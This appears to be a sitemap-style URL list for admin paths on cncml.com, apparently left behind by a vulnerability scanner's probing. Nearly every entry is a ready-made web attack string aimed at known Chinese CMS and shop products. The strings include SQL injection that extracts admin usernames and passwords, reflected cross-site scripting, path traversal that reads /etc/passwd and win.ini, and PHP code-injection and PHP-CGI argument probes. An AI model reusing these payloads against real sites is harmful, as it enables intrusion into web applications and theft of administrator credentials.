0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?a=lists&agent=&bedroom=4_100%20onmouonmouseoverseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?a=lists&agent=&bedroom=4_100%22%20onmouseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?a=lists&agent=2%20onmoonmouseoveruseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?a=lists&agent=2%22%20onmouseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?ac=order&at=list 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?ac=search&at=taglist&tagkey=%2527,tags)%20or(select%201%20from(select%20count(*),concat((select%20(select%20concat(0x7e,0x27,table_name,0x27,0x7e))%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?ac=search&at=taglist&tagkey=a%2527 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?act=coupon&area_id=&city_id=1&class_id=&class_id_1=&mall_id=&op=list&orderby=coupon_end_time&sort=-12%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x23,md5(1122),0x23,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=2&class_id_1=8&pconsume=&orderby=person_consume&sort=,(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20CHAR(100,%2056,%20100,%2057,%2048,%2097,%2097,%2057,%2052,%2051,%20101,%2052,%2097,%20100,%20100,%2050)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=3&class_id_1=22&pconsume=&orderby=add_time%20asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&sort=asc 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?act=search&key=click&order=desc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&cate_id=8 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?act=show_groupbuy&op=groupbuy_list&groupbuy_area=&groupbuy_class=&groupbuy_price=1&groupbuy_order_key=price&groupbuy_order=asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?action=article&do=show&todo=content&a=282%20AND%20(SELECT%203853%20FROM(SELECT%20COUNT(*),CONCAT(0x6366726565723A,(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)),0x3A696A783A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?action=detail&do=offer&title=%2527or%25201%253D2%2523 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?action=school&todo=content&do=-1%20and%20(select%201%20from%20%20(select%20count(*),concat(0x7c,md5(1122),0x7c,floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?action=shop&todo=content&do=-1%20UNION%20SELECT%201,2,3,concat(0x7c,md5(1122),0x7c),5,6,7,8,9,10,11,12,13,14,15,16,17 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?action=teacher&teacher_id=(SELECT%201833%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1122),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)&todo=infor 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?app=/../robots.txt%00 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?app=user&ac=../../../robots.txt%00 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?app=user&ac=plugin&in=../../robots.txt%00 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?app=widget&mod=Category&act=getChild&model_name=Schedule&method=runSchedule&id%5Btask_to_run%5D=addons/Area)-%3EgetAreaList();print(md5(1122));%23 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?c=MTA3==&op=../../../../../../../../../../etc/passwd%00.jpg 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?c=ajax&a=member_login&template=../../ooxx.php 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?c=api&a=down&file=YWQ2OVpRcGJtL3d3NWh5WmVxbkNYbGRnZjVnalFLSXRaWkRpT1dVZmNXQ1BqNjhPeE82RkpKak1iWUZwcDZrK2tXaFZYdTRZ 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?c=api&m=data&auth=finecms&param=action%3Dcache%20name%3DSPACE-MODEL.1%27%5D%3Bprint%28md5%281122%29%29%3B%2f%2f 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?c=buylist&a=dellist&id=1%20and%20(select%201%20from%20(select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?c=com_index&m=yp&userid=12%22%3E%3Ciframe%20src=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?c=tj&f=include&js=/../../config.php 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?c=ueditor&f=remote_image&upfile=http://0.0.0.0/reer.php 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?caid=1&ccid12=12&fsale=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?case=../../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?case=archive&act=orders 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?case=archive&act=orders&aid%5Baid%60%3D2%20and%200%20union%20select%201,2,3,char(106),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,md5(1122),36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_user%20where%20userid%3C2%20%20--%20%20a%5D=26 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?case=archive&act=orders&aid%5Btypeid%60%3d1%20UNION%20SELECT@typeid,2,3,concat(0x7e,md5(1122),0x7e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_archive%20ORDER%20BY%201%23%5D=10 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?case=archive&act=search&keyword=webscan%25%2527%29%09union%09select%090%2C0%2C0%2Cconcat%28username%2Cpassword%29%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%09from%09cmseasy_user%09where%09groupid%3D2%09union%09SELECT%09*%09FROM%09%60cmseasy_archive%60%09WHERE%09%28title%09like%09%2527%25aaaaaaaa 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?case=manage&act=delete&manage=orders&guest=1&id=-1 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?case=tag&act=show&tag=%2522%20union%20select%200x2D3120756E696F6E2073656C65637420312C307833313239323037353645363936463645323037333635364336353633373432303331324333323243333332433644363433353238333533353332333233313331333233323239324333353243333632433337324333383243333932433331333032433331333132433331333232433331333332433331333432433331333532433331333632433331333732433331333832433331333932433332333032433332333132433332333232433332333332433332333432433332333532433332333632433332333732433332333832433332333932433333333032433333333132433333333232433333333332433333333432433333333532433333333632433333333732433333333832433333333932433334333032433334333132433334333232433334333332433334333432433334333532433334333632433334333732433334333832433334333932433335333032433335333132433335333232433335333332433335333432433335333532433335333632433335333732433335333832303636373236463644323036333644373336353631373337393546373537333635373232332C332D2D,2%23 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?controller=block&action=goodsCommend&id=0)%20Union%20select%201,md5(1122)%23 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?controller=block&action=spec_value_list&id=1%20union%20select%201,%28Select%20concat%280x5b,admin_name,0x3a,PassWord,0x5d%29%29,3,4,5,6%20from%20iwebshop_admin 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?controller=site&action=getProduct&specJSON=%7B%20%22people%22:%221'%20and%201=2%20union%20select%20md5(1122),2,3,4,5,6,7,8,9%20and%20'1'='1%22%7D 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?ctl=deals&k=pp%25%27%29and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?ctl=help&act=term%27%20and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201,2,3,4,5,CONCAT(0x7c,username,0x7c,password,0x7c,CHAR(119,101,98,115,99,97,110)),7,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20wiki_user%20where%20groupid=4%20limit%201%23 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?id=-1%7C%7C1%20group%20by%20mid(md5(1122)%20from%20rand()*10%20for%2030)having%20min(1)%23&mod=compare 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?id=product&c=project&cate=1&ext%5Bid%3C0%20union%20select%20111,2,3,4,5,6,md5(1122),8,9%20,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--%5D=1 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?index=a&skin=default/../&dataoptimize_html=/../../templates/default/images/css/metinfo.css 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?keywords=zzz333&mod=search 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?language_id=1%20and%20%20%28SELECT%201%20from%20%28select%20count%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29%2C%28substring%28%28select%28md5%281122%29%29%29%2C1%2C62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23&is_protect=1&action=cccc 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=Ajax&a=gettypeattr&type_id=1%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=Article&a=showByUname&uname=%2527or%25201%253D%2528select%25201%2520from%2520%2528select%2520count%2528%252a%2529%252Cconcat%2528floor%2528rand%25280%2529%252a2%2529%252C%2528select%2520md5%25281122%2529%2520from%2520fanwe_admin%2520limit%25200%252C1%2529%2529a%2520from%2520information_schema.tables%2520group%2520by%2520a%2529b%2529%2523 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=Goods&a=showByUname&uname=%2527AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=Goods&a=showcate&id=1'cfreer 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=Order&a=index 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=announcement&s=admin/notice_manager&action=modify&id=1212%20UnIon%20select%201,2,concat(user,0x7c,password),4,5,6,7,8%20from%20webscan%23 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=company&s=admin/exportexcel&ordrby=user%20and%201=websec%23 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=company&s=space_comments&uid=1and%20(SELECT%201%20from%20(selectcount(*),concat(floor(rand(0)*2),(substring((select(selEctconcat(user,0x7c,password)%20from%20b2bbuilder_admin%20limit%200,1)),1,62)))a%20frominformation_schema.tables%20group%20by%20a)b) 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=company&s=space_mail&tid=1)%20and%201=websec%20%23 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=message&s=inquire&userid=1)%20UnIon%20select%201,12,123%20from%20webscan%23 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=message&s=inquiry_basket 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=news&s=admin/news&newsid=1%20and%20(SELECT%201%20from%20websec) 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=news&s=admin/newslist&submit=%E5%88%A0%E9%99%A4&did=999%29%20and%20%28SELECT%201%20from%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select%28selEct%20concat%28user,0x7c,password%29%20from%20f10bd198561acb0197452013b7a82429%20limit%200,1%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=poster&c=index&a=poster_click&id=1 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=search&a=public_get_suggest_keyword&url=http://www.baidu.com/&q=/../robots.txt 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=1122&description=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=wap&siteid=1&a=big_image&url=aHR0cDovL3hzc3Rlc3QuY29tIiBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDQyODczKTs= 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=yp&c=index&a=lists&areaid=12&catid=114&price=&tid=1%22%20onmouseover=prompt(42873)%20&page=1&order=1 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=yp&c=index&a=lists&areaid=37%20%20onmouseover%3Dprompt%2842873%29%20&catid=10&price=1_500&page=1&order=4 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?m=yp&c=index&a=lists&areaid=37&catid=10&price=%22%20onmouseover=prompt(42873)%20&page=1&order=4 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?mod=../admin/admin&a=list 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?mod=../admin/admin&ac=list 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?option=com_hello&controller=../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?option=com_ztautolink&controller=../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?page=1 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?page=2 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?product-%22%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20-1122-viewpic.html 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?q=1%25%2527%2520and%25201%253D2%2520%2523&do=search&action=lists&module=product 0.0001 http://www.cncml.com/admin_blog/admin_w/ 0.0005 http://www.cncml.com/admin_blog/admin_w/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/admin_blog/admin_w/?/home/explore/category-1)%20AND%20(SELECT%204037%20FROM(SELECT%20COUNT(*),CONCAT(CHAR(58,100,114,108,58),(SELECT%20(CASE%20WHEN%20(4037=4037)%20THEN%201%20ELSE%200%20END)),CHAR(58,122,103,111,58),FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a)%20AND%20(9909=9909 0.0001 http://www.cncml.com/admin_blog/admin_w/?/people/360webscan?notification_id-360webscan' 0.0001 http://www.cncml.com/admin_blog/admin_w/?/people/ajax/user_actions/uid-1__actions-1)%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1(0x3336307765627363616e),(SELECT%20(CASE%20WHEN%20(8274=8274)%20THEN%201%20ELSE%200%20END)),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20and%20(1=1 0.0001 http://www.cncml.com/admin_blog/admin_w/?/s_tag/hehe%25%27%20union%20select%201,2,3,md5(1122),5,6,7%20from%20go_admin%23 0.0001 http://www.cncml.com/admin_blog/admin_w/?__runfile0123456789=/etc/passwd 0.0001 http://www.cncml.com/admin_blog/admin_w/?__runfile0123456789=c:%5Cwindows%5Cwin.ini 0.0001 http://www.cncml.com/admin_blog/admin_w/?action=course&do=-1%20AND%20(SELECT%202358%20FROM(SELECT%20COUNT(*),CONCAT(0x7765627363616E3A,(SELECT%20(CASE%20WHEN%20(2358=2358)%20THEN%201%20ELSE%200%20END)),0x3A66696E643A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%23&&todo=list 0.0001 http://www.cncml.com/admin_blog/admin_w/?app=vote&controller=vote&action=total&contentid=1%20and%20cast(ascii(substring(version(),1,1))=53%20as%20signed) 0.0001 http://www.cncml.com/admin_blog/admin_w/?app=widget&mod=feedlist&act=getdata&maxId=111&act=loadNew&templateCacheFile=C:%5CWindows%5Cwin.ini 0.0001 http://www.cncml.com/admin_blog/admin_w/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/admin_blog/admin_w/?gallery-1--1--'%20%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20'--grid.html 0.0001 http://www.cncml.com/admin_blog/admin_w/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/admin_blog/admin_w/?m=info&rewrite=1'%20union%20select%201,concat(0x23,md5(1122),0x23)%20from%20my_admin%20where%20id=1%20--%20a 0.0001 http://www.cncml.com/admin_blog/admin_w/?m=info.detail&id=1-webscan 0.0001 http://www.cncml.com/admin_blog/admin_w/?m=offer&s=offer_list&id=1-webscan%23 0.0001 http://www.cncml.com/admin_blog/admin_w/?m=product&s=list&key=12'%20and%201=(updatexml(1,concat(0x5e24,(select%20md5(1122)),0x5e24),1))%23 0.0001 http://www.cncml.com/admin_blog/admin_w/?m=vote&id=&vid=1,3)%20and%20%20webscan1122%23 0.0001 http://www.cncml.com/admin_blog/admin_w/?mod=account&code=Login_callback&cmd=a&from=../../../robots.txt%00 0.0001 http://www.cncml.com/admin_blog/admin_w/?mod=account&code=Sendcheckmail&uname=-1%2527%20or%201=1%23 0.0001 http://www.cncml.com/admin_blog/admin_w/?mod=wap&code=coupon_input&msgcode=ops-success&last%5B%5D==1%20union%20/*!select*/%201,1,1,1,1,1,1,1234567890,1%20from%20cenwor_system_members 0.0001 http://www.cncml.com/admin_blog/admin_w/?overview 0.0001 http://www.cncml.com/admin_blog/admin_w/?plugins&area=&class=u_sel&name=work_&q=areas&type=p,c&value=1/**/and/**/extractvalue(1,concat(0x5c,md5(1122)));-- 0.0001 http://www.cncml.com/admin_blog/admin_w/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/admin_blog/admin_w/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/admin_blog/admin_w/?product-75-1@%7C1122%22%3E%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%20-index.html 0.0001 http://www.cncml.com/admin_blog/admin_w/?question/search/%27%75nion%20select%201,2,3,4,5,6,7,8,md5(1122),10,11,12,13,14,15,16,17,18,19,20%23 0.0001 http://www.cncml.com/admin_blog/admin_w/?question/search/tag:0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/admin_blog/admin_w/?question/tag/0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/admin_blog/admin_w/?s=/abc/abc/abc/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/ 0.0001 http://www.cncml.com/admin_blog/admin_w/?s=abc~abc~abc~$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D 0.0001 http://www.cncml.com/admin_blog/admin_w/?tag=test'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1('360webscan'),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/admin_blog/admin_w/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/admin_blog/admin_w/?user&q=login&&q=check_email&email=test@sec.org%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/admin_blog/admin_w/?user&q=login&&q=check_username&username=only_test%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/admin_blog/admin_w/?user-getpass-1' 0.0001 http://www.cncml.com/admin_blog/admin_w/?user-space-1' 0.0001 http://www.cncml.com/admin_blog/admin_w/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php/*123*/'union/**/select/**/1,2,3,4,5,6,7,8,md5(1122),10,11#&action=getatlbyid 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php/?Itemid=11&option=com_search&searchword=%f6%22%20onmouseover%3dprompt(3312)%20//&task=search 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php/Index/index/name/$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php/Site/article/id/-5724)+UNION+ALL+SELECT+11,11,11,0x63656461723A66696E643A696969696969,11,11,11,11,11,11,11,11,11#.html 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php/Site/listTpl/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php/Site/page/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php/abc-abc-abc-$%7B@exit(md5(118741911))%7D/ 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php/cms/item-comment?callback=jsonp1380096883458'%22()%26%25%3Cscript%3Eprompt(42873)%3C/script%3E&iid=114&page=1&view_page=1&_=1380096883791&_ajax_request= 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php/product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(0x7c,admin_name,0x7c,admin_pw,0x7c,sha1(0x3336307765627363616e))+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19%20and+'1'='1 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php/weblinks-categories?id=just_test 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?-dauto_prepend_file%3d/etc/passwd+-n 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?_COOKIE%5Bcfg%5D%5Bdatabase%5D=mysql&_COOKIE%5Bcfg%5D%5Bdb_host%5D=localhost&_COOKIE%5Bcfg%5D%5Bdb_user%5D=webscan&_COOKIE%5Bcfg%5D%5Bdb_pass%5D=reer&_COOKIE%5Bcfg%5D%5Bdb_name%5D=db 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?a=list_type&c=index&m=link&siteid='+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,unhex(Hex(cast(v9_admin.username+as+char))),0x27,0x7e)+from+%60phpcmsv9%60.v9_admin+Order+by+userid+limit+0,1)+)+from+%60information_schema%60.tables+limit+0,1),floor(rand(0)*2))x+from+%60information_schema%60.tables+group+by+x)a)+and+'1'%3D'1 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%20onmouonmouseoverseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%22%20onmouseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%20onmoonmouseoveruseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%22%20onmouseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%20onmonmouseoverouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%22%20onmouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%20onmonmouseoverouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%22%20onmouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?a=lists&agent=&bedroom=4_100%20onmouonmouseoverseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?a=lists&agent=&bedroom=4_100%22%20onmouseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?a=lists&agent=2%20onmoonmouseoveruseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?a=lists&agent=2%22%20onmouseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?ac=order&at=list 0.0001 